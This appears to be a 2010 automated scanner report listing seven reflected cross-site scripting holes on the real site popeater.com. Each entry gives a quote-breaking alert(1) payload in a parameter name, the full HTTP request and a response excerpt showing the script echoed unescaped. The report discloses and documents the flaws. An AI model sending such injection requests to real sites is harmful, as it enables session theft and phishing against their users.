Report generated by XSS.CX at Thu Nov 18 10:23:34 CST 2010.


Cross Site Scripting Report for popeater.com


Loading



1. Cross-site scripting (reflected)

1.1. http://www.popeater.com/ [name of an arbitrarily supplied request parameter]

1.2. http://www.popeater.com/2010/11/16/dancing-with-the-stars-results-brandy/ [name of an arbitrarily supplied request parameter]

1.3. http://www.popeater.com/2010/11/16/survivor-producer-bruce-beresford-redman-arrested/ [name of an arbitrarily supplied request parameter]

1.4. http://www.popeater.com/2010/11/17/amber-portwood-teen-mom/ [name of an arbitrarily supplied request parameter]

1.5. http://www.popeater.com/2010/11/17/kate-middleton-princess-diana/ [name of an arbitrarily supplied request parameter]

1.6. http://www.popeater.com/2010/11/17/pink-pregnant-baby-girl/ [name of an arbitrarily supplied request parameter]

1.7. http://www.popeater.com/2010/11/17/susan-boyle-tops-billboard-album-charts-taylor-swift/ [name of an arbitrarily supplied request parameter]



1. Cross-site scripting (reflected)
There are 7 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.popeater.com/ [name of an arbitrarily supplied request parameter]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2dbf3"-alert(1)-"5a9d6f74237 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /?2dbf3"-alert(1)-"5a9d6f74237=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:06:44 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:06:44 GMT; path=/
Keep-Alive: timeout=5, max=999953
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 62959

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
pageName="nws: PopEater Main" ;
s_265.linkInternalFilters="javascript:,popeater.com";
    s_265.prop2="news";
    s_265.prop1="popeater";
    s_265.prop12= "http://www.popeater.com/?2dbf3"-alert(1)-"5a9d6f74237=1";
    s_265.channel="us.newspop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="";
    s_265.mmxgo=true;
   
s
...[SNIP]...

1.2. http://www.popeater.com/2010/11/16/dancing-with-the-stars-results-brandy/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/16/dancing-with-the-stars-results-brandy/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63941"-alert(1)-"9a8153abc82 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/16/dancing-with-the-stars-results-brandy/?63941"-alert(1)-"9a8153abc82=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:06 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:06 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:06 GMT; path=/
Keep-Alive: timeout=5, max=999994
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 97670

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
s_265.prop2="nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19719827";
    s_265.prop12= "http://www.popeater.com/2010/11/16/dancing-with-the-stars-results-brandy/?63941"-alert(1)-"9a8153abc82=1";
    s_265.channel="us.newspop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="";
    s_265.mmxgo=true;
   


...[SNIP]...

1.3. http://www.popeater.com/2010/11/16/survivor-producer-bruce-beresford-redman-arrested/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/16/survivor-producer-bruce-beresford-redman-arrested/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ac3cd"-alert(1)-"02318b0398f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/16/survivor-producer-bruce-beresford-redman-arrested/?ac3cd"-alert(1)-"02318b0398f=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:06 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:06 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:07 GMT; path=/
Keep-Alive: timeout=5, max=999980
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 100028

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
2="nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19721434";
    s_265.prop12= "http://www.popeater.com/2010/11/16/survivor-producer-bruce-beresford-redman-arrested/?ac3cd"-alert(1)-"02318b0398f=1";
    s_265.channel="us.tvpop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="http://www.popeater.com/mm_track/popeater/televis
...[SNIP]...

1.4. http://www.popeater.com/2010/11/17/amber-portwood-teen-mom/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/17/amber-portwood-teen-mom/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a366d"-alert(1)-"28e7ac598c4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/17/amber-portwood-teen-mom/?a366d"-alert(1)-"28e7ac598c4=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:05 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:05 GMT; path=/
Keep-Alive: timeout=5, max=999987
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 96561

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
ter.com";
    s_265.prop2="nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19721011";
    s_265.prop12= "http://www.popeater.com/2010/11/17/amber-portwood-teen-mom/?a366d"-alert(1)-"28e7ac598c4=1";
    s_265.channel="us.tvpop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="http://www.popeater.com/mm_track/popeater/televis
...[SNIP]...

1.5. http://www.popeater.com/2010/11/17/kate-middleton-princess-diana/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/17/kate-middleton-princess-diana/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e9363"-alert(1)-"86a15286ef9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/17/kate-middleton-princess-diana/?e9363"-alert(1)-"86a15286ef9=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:05 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:05 GMT; path=/
Keep-Alive: timeout=5, max=999999
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 102315

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
m";
    s_265.prop2="nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19721854";
    s_265.prop12= "http://www.popeater.com/2010/11/17/kate-middleton-princess-diana/?e9363"-alert(1)-"86a15286ef9=1";
    s_265.channel="us.tvpop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="http://www.popeater.com/mm_track/popeater/televis
...[SNIP]...

1.6. http://www.popeater.com/2010/11/17/pink-pregnant-baby-girl/ [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/17/pink-pregnant-baby-girl/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bd7a"-alert(1)-"6a975c3ff7e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/17/pink-pregnant-baby-girl/?9bd7a"-alert(1)-"6a975c3ff7e=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:08 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:08 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:08 GMT; path=/
Keep-Alive: timeout=5, max=999988
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 84518

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
ter.com";
    s_265.prop2="nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19721737";
    s_265.prop12= "http://www.popeater.com/2010/11/17/pink-pregnant-baby-girl/?9bd7a"-alert(1)-"6a975c3ff7e=1";
    s_265.channel="us.musicpop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="http://www.popeater.com/mm_track/popeater/musi
...[SNIP]...

1.7. http://www.popeater.com/2010/11/17/susan-boyle-tops-billboard-album-charts-taylor-swift/ [name of an arbitrarily supplied request parameter]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.popeater.com
Path:   /2010/11/17/susan-boyle-tops-billboard-album-charts-taylor-swift/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bdbac"-alert(1)-"4b76a9e37bd was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /2010/11/17/susan-boyle-tops-billboard-album-charts-taylor-swift/?bdbac"-alert(1)-"4b76a9e37bd=1 HTTP/1.1
Host: www.popeater.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Wed, 17 Nov 2010 18:07:05 GMT
Server: Apache/2.2
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
Set-Cookie: GEO-174_121_222_18=usa%3A%3Ahouston%3A%3A029.763%3A%3A-095.363%3A%3Abroadband%3A%3Atx; expires=Thu, 18-Nov-2010 18:07:05 GMT; path=/
Set-Cookie: comment_by_existing=deleted; expires=Tue, 17-Nov-2009 18:07:05 GMT; path=/
Keep-Alive: timeout=5, max=999918
Connection: Keep-Alive
Content-Type: text/html
Content-Length: 90270

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xmlns:og="http://opengrap
...[SNIP]...
nws : " + document.title ;
    s_265.prop1="popeater";
    s_265.prop9="bsd:19721340";
    s_265.prop12= "http://www.popeater.com/2010/11/17/susan-boyle-tops-billboard-album-charts-taylor-swift/?bdbac"-alert(1)-"4b76a9e37bd=1";
    s_265.channel="us.musicpop";
    s_265.disablepihost=false;
    s_265.disablepipath=false;
    s_265.mmxtitle="";
    s_265.mmxcustom="http://www.popeater.com/mm_track/popeater/musi
...[SNIP]...

Report generated by XSS.CX at Thu Nov 18 10:23:34 CST 2010.